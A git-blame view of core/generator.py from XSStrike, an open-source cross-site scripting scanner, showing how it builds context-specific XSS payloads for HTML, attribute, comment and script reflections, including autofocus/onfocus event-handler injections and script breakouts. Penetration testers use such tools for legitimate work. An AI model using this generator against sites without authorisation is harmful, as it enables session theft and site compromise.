Files
XSStrike/core/generator.py

128 lines
5.8 KiB
Python
Raw Normal View History

from core.config import badTags, fillings, eFillings, lFillings, jFillings, eventHandlers, tags, functions
2018-10-27 18:58:52 +05:30
from core.jsContexter import jsContexter
from core.utils import randomUpper as r, genGen, extractScripts
2018-11-16 21:13:45 +05:30
2018-10-27 18:58:52 +05:30
def generator(occurences, response):
scripts = extractScripts(response)
index = 0
2018-11-16 21:13:45 +05:30
vectors = {11: set(), 10: set(), 9: set(), 8: set(), 7: set(),
6: set(), 5: set(), 4: set(), 3: set(), 2: set(), 1: set()}
2018-10-27 18:58:52 +05:30
for i in occurences:
context = occurences[i]['context'][0]
breaker = occurences[i]['context'][1]
special = occurences[i]['context'][2]
2018-11-03 22:49:40 +05:30
attribute = occurences[i]['context'][3]
2018-10-27 18:58:52 +05:30
if special not in badTags:
special = ''
elif context == 'attribute':
special = '</' + special + '/>'
else:
special = ''
if context == 'html':
lessBracketEfficiency = occurences[i]['score']['<']
greatBracketEfficiency = occurences[i]['score']['>']
breakerEfficiency = occurences[i]['score'][breaker]
2018-10-28 12:43:52 +05:30
if breaker == '\'' or breaker == '"':
breaker = ''
breakerEfficiency = 100
2018-10-27 18:58:52 +05:30
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
if lessBracketEfficiency == breakerEfficiency == 100:
2018-11-16 21:13:45 +05:30
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends, breaker, special)
2018-10-27 18:58:52 +05:30
for payload in payloads:
vectors[10].add(payload)
elif context == 'attribute':
breakerEfficiency = occurences[i]['score'][breaker]
greatBracketEfficiency = occurences[i]['score']['>']
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
if greatBracketEfficiency == 100 and breakerEfficiency == 100:
2018-11-16 21:13:45 +05:30
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends, breaker, special)
2018-10-27 18:58:52 +05:30
for payload in payloads:
if breaker:
payload = payload.replace(breaker, breaker + '>')
else:
payload = '>' + payload
vectors[10].add(payload)
if breakerEfficiency == 100:
for filling in fillings:
for function in functions:
2018-11-16 21:13:45 +05:30
vector = breaker + filling + 'auTOfOcuS' + \
filling + 'OnFoCUs' + '=' + breaker + function
2018-10-27 18:58:52 +05:30
vectors[6].add(vector)
2018-11-11 14:56:19 +05:30
if breakerEfficiency == 90:
for filling in fillings:
for function in functions:
2018-11-16 21:13:45 +05:30
vector = '\\' + breaker + filling + 'auTOfOcuS' + filling + \
'OnFoCUs' + '=' + function + filling + '\\' + breaker
2018-11-11 14:56:19 +05:30
vectors[6].add(vector)
2018-11-03 22:49:40 +05:30
if attribute == 'srcdoc':
if occurences[i]['score']['&lt;']:
if occurences[i]['score']['&gt;']:
del ends[:]
ends.append('&t;')
2018-11-16 21:13:45 +05:30
payloads = genGen(
fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, '', '')
2018-11-03 22:49:40 +05:30
for payload in payloads:
vectors[10].add(payload.replace('<', '&lt;'))
2018-10-27 18:58:52 +05:30
elif context == 'comment':
lessBracketEfficiency = occurences[i]['score']['<']
greatBracketEfficiency = occurences[i]['score']['>']
breakerEfficiency = occurences[i]['score'][breaker]
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
if lessBracketEfficiency == breakerEfficiency == 100:
2018-11-16 21:13:45 +05:30
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends, breaker, special)
2018-10-27 18:58:52 +05:30
for payload in payloads:
vectors[10].add(payload)
elif context == 'script':
try:
script = scripts[index]
except IndexError:
2018-11-03 22:49:40 +05:30
try:
script = scripts[0]
except:
continue
2018-10-27 18:58:52 +05:30
closer = jsContexter(script)
scriptEfficiency = occurences[i]['score']['</scRipT/>']
greatBracketEfficiency = occurences[i]['score']['>']
breakerEfficiency = occurences[i]['score'][breaker]
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
if scriptEfficiency == 100:
breaker = r('</script/>')
2018-11-16 21:13:45 +05:30
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends, breaker, special)
2018-10-27 18:58:52 +05:30
for payload in payloads:
vectors[10].add(payload)
if closer:
suffix = '//\\'
if not breaker:
closer = closer[1:]
2018-11-10 21:24:53 +05:30
if breakerEfficiency != 100:
breaker = ''
2018-10-27 18:58:52 +05:30
for filling in jFillings:
for function in functions:
vector = breaker + closer + filling + function + suffix
2018-10-27 18:58:52 +05:30
vectors[7].add(vector)
elif breakerEfficiency > 83:
2018-10-27 18:58:52 +05:30
suffix = '//'
for filling in jFillings:
for function in functions:
if '=' in function:
function = '(' + function + ')'
if breaker == '':
filling = ''
vector = '\\' + breaker + closer + filling + function + suffix
vectors[6].add(vector)
index += 1
2018-11-10 21:24:53 +05:30
return vectors